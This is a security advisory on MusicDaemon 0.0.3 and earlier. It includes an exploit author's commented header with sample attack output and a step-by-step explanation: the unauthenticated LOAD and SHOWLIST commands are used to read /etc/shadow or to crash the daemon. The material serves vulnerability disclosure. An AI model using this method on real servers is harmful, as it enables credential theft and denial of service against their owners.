  Music Daemon DoS and File Disclosure Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://musicdaemon.sourceforge.net/about.xml> Music daemon (musicd) is a 
"music player designed to run as a independent server where different 
front-end can connect to control the play or get information about what is 
playing etc".

Two remotely exploitable vulnerabilities have been found in the product, 
one allows attackers to cause the program to no longer respond to 
legitimate users, the other allows reading of sensitive files, such as the 
/etc/shadow file.

DETAILS

Vulnerable Systems:
 * MusicDaemon version 0.0.3 and prior

Exploit:
/* MusicDaemon <= 0.0.3 v2 Remote /etc/shadow Stealer / DoS
* Vulnerability discovered by: Tal0n 05-22-04
* Exploit code by: Tal0n 05-22-04
*
* Greets to: atomix, vile, ttl, foxtrot, uberuser, d4rkgr3y, blinded, 
wsxz,
* serinth, phreaked, h3x4gr4m, xaxisx, hex, phawnky, brotroxer, xires,
* bsdaemon, r4t, mal0, drug5t0r3, skilar, lostbyte, peanuter, and over_g
*
* MusicDaemon MUST be running as root, which it does by default anyways.
* Tested on Slackware 9 and Redhat 9, but should work generically since 
the
* nature of this vulnerability doesn't require
* shellcode or return addresses.
*
*
* Client Side View:
*
* root@vortex:~/test# ./md-xplv2 127.0.0.1 1234 shadow
*
* MusicDaemon <= 0.0.3 Remote /etc/shadow Stealer
*
* Connected to 127.0.0.1:1234...
* Sending exploit data...
*
* <*** /etc/shadow file from 127.0.0.1 ***>
*
* Hello
* <snipped for privacy>
* ......
* bin:*:9797:0:::::
* ftp:*:9797:0:::::
* sshd:*:9797:0:::::
* ......
* </snipped for privacy>
*
* <*** End /etc/shadow file ***>
*
* root@vortex:~/test#
*
* Server Side View:
*
* root@vortex:~/test/musicdaemon-0.0.3/src# ./musicd -c ../musicd.conf -p  
1234
* Using configuration: ../musicd.conf
* [Mon May 17 05:26:07 2004] cmd_set() called
* Binding to port 5555.
* [Mon May 17 05:26:07 2004] Message for nobody: VALUE: LISTEN-PORT=5555
* [Mon May 17 05:26:07 2004] cmd_modulescandir() called
* [Mon May 17 05:26:07 2004] cmd_modulescandir() called Binding to port 
1234.
* [Mon May 17 05:26:11 2004] New connection!
* [Mon May 17 05:26:11 2004] cmd_load() called
* [Mon May 17 05:26:13 2004] cmd_show() called
* [Mon May 17 05:26:20 2004] Client lost.
*
*
* As you can see, it simply makes a connection, sends the commands, and
* leaves. MusicDaemon doesn't even log that new connection's IPs that I
* know of. Works very well, eh? :)
*
* The vulnerability is in where the is no authenciation for 1. For 2, it
* will let you "LOAD" any file on the box if you have the correct 
privledges,
* and by default, as I said before, it runs as root, unless you change the
* configuration file to make it run as a different user.
*
* After we "LOAD" the /etc/shadow file, we do a "SHOWLIST" so we can grab
* the contents of the actual file. You can subtitute any file you want in
* for /etc/shadow, I just coded it to grab it because it being such an
* important system file if you know what I mean ;).
*
* As for the DoS, if you "LOAD" any binary on the system, then use 
"SHOWLIST",
* it will crash music daemon.
